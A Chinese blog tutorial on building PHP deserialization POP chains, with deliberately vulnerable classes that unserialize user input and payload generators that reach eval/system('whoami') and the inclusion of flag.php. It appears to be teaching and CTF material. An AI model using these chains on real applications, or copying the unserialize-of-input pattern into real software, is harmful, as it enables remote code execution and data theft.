Loading

PHP反序列化基础之简单的POP链构造

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫面向属性编程",POP(Property Oriented Programming)

pop链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一中payload。

poc(全称:proof of concept)中文译作概念验证。在安全界可理解成漏洞验证程序。pc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

基础写法:

<?php
class index {
    private $test;
    public function __construct(){
        $this->test = new normal();//5.所以在构造的时候,将这个位置改了就好
    }
    public function __destruct(){
        $this->test->action();//3.这里调用了action()方法,但是这个action来自normal
      //恰好这里是destruct方法,在反序列化的时候会被调用
      //所以接下来的问题就是,如何让test对象变成$test = new evil()
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){//2.如何调用action()方法
        eval($this->test2);
      //1.这是解题的最终目的,执行eval(test2)
    }
}
unserialize($_GET['test']);//4.有反序列化操作,也就是说可以调用destruct()方法,
                          //让destruct去执行test中的action
                          //也就是说通过反序列化将$test=new evil()给传进去,
                          //来覆盖之前的construct中的内容 (其实,construct根本不会被调用)

?>

构造pop链(写法不唯一):

<?php
class index {
    private $test;
    public function __construct(){
        $this->test = new evil();
    }
    public function __destruct(){
        $this->test->action();
    }
}
class normal {
    public function action(){
        echo "please attack me";
    }
}
class evil {
    var $test2 = "system('whoami');";
    public function action(){
        eval($this->test2);
    }
}
$test = new index();
echo urlencode(serialize($test))
?>

还有其它写法(但是对于本题不适用,因为test是私有属性,在此处只是参考一下写法):

<?php
class index {
    private $test;
}
class evil {
    var $test2;
}
$a = new evil();
$a -> test2 = "system('whoami');";
$b = new index();
$b -> test = $a;
echo serialize($b)
?>
O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:17:"system('whoami');";}}
非要使用的话,就手动修改为:
O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:17:"system('whoami');";}}

pop链中魔术方法相关知识:

魔术方法被触发的前提是:魔术方法所在的类或对象被调用!!!

<?php
class fast {
    public $source;
    public function __wakeup(){//只有当反序列化时候的字符串中有这个类对象的,才会调用到
        echo "wakeup is here!!";
        echo  $this->source;
    }
}
class sec {
    var $benben;
    public function __tostring(){
      //如果想要调用这个方法就必须$source=new sec(),只有在上面的wakeup被调用的时候
      //echo  $this->source;这句代码才会继续调用到toString
        echo "tostring is here!!";
    }
}
$b = $_GET['benben'];
unserialize($b);
?>
<?php
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;
    }
}
class sec {
    var $benben;
    public function __tostring(){
        echo "tostring is here!!";
    }
}
$a = new fast();
$a ->source=new sec();
echo serialize($a)
?>

可以简化为:

<?php
class fast {
    public $source;
}
class sec {
}
$a = new fast();
$a ->source=new sec();
echo serialize($a)
?>

例题:

<?php
//flag is in flag.php
class Modifier {
    private $var;//-1_2.var=flag.php
    public function append($value)//-2.也就是说要想办法调用这个函数
    {
        include($value);//-1_1.根据提示这里的value=flag.php
        echo $flag;//-1.最重要执行到这个地方
    }
    public function __invoke(){
        $this->append($this->var);//-3.这里调用了append(value=var)方法,想办法触发invoke()
                                  //调用函数的方式调用对象
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){//-7如何调用toString()呢?
                                 //将一个对象当作字符使用的时候会调用
        return $this->str->source;//-6.这里调用了类中的str中的source,str中不存在source
                                  //会调用get方法,为了能调用到test中的get方法
                                 //就需要str=new Test()
    }
    public function __wakeup(){//-9.反序列化的时候会调用这个方法
        echo $this->source; //-8也就只剩这里能够触发toString了,但是此时source只是一个变量
                            //想要触发就得给source赋一个对象,又得能调用到toString
                            //所以就只能source=new Show()
    }
}

class Test{
    public $p;//-4_1.调用invoke的前提是需要让p = new modify,
              //这样才能触发modify中的invoke
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){//-5.如何调用get()呢?
                                //获取一个访问不到的属性的时候会调用get
        $function = $this->p;
        return $function();//-4.这里以调用函数的方式调用了方法,会调用invoke
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);//-10为了反序列化的时候能够调用到Show中的wakeup
                              //所以就需要构造出的序列化字符串中有Show实例化后的对象
}
?>

构造::

<?php
//flag is in flag.php
class Modifier {
    private $var="flag.php";//-1_2.var=flag.php
    public function append($value)//-2.也就是说要想办法调用这个函数
    {
        include($value);//-1_1.根据提示这里的value=flag.php
        echo $flag;//-1.最重要执行到这个地方
    }
    public function __invoke(){
        $this->append($this->var);//-3.这里调用了append(value=var)方法,想办法触发invoke()
                                  //调用函数的方式调用对象
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){//-7如何调用toString()呢?
                                 //将一个对象当作字符使用的时候会调用
        return $this->str->source;//-6.这里调用了类中的str中的source,str中不存在source
                                  //会调用get方法,为了能调用到test中的get方法
                                 //就需要str=new Test()
    }
    public function __wakeup(){//-9.反序列化的时候会调用这个方法
        echo $this->source; //-8也就只剩这里能够触发toString了,但是此时source只是一个变量
                            //想要触发就得给source赋一个对象,又得能调用到toString
                            //所以就只能source=new Show()
    }
}

class Test{
    public $p;//-4_1.调用invoke的前提是需要让p = new modify,
              //这样才能触发modify中的invoke
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){//-5.如何调用get()呢?
                                //获取一个访问不到的属性的时候会调用get
        $function = $this->p;
        return $function();//-4.这里以调用函数的方式调用了方法,会调用invoke
    }
}

//if(isset($_GET['pop'])){
//    unserialize($_GET['pop']);//-10为了反序列化的时候能够调用到Show中的wakeup
//                              //所以就需要构造出的序列化字符串中有Show实例化后的对象
//}
$mod = new Modifier();
$show = new Show();
$test = new Test();
$show -> source = $show;
$show -> str = $test;
$test -> p = $mod;
echo urlencode(serialize($show))
?>

简化后(删掉没用的):

<?php
class Modifier {
    private $var="flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$mod = new Modifier();
$show = new Show();
$test = new Test();
$show -> source = $show;
$show -> str = $test;
$test -> p = $mod;
echo urlencode(serialize($show))
?>
posted @ 2025-04-04 14:59  赟希  阅读(135)  评论(0)    收藏  举报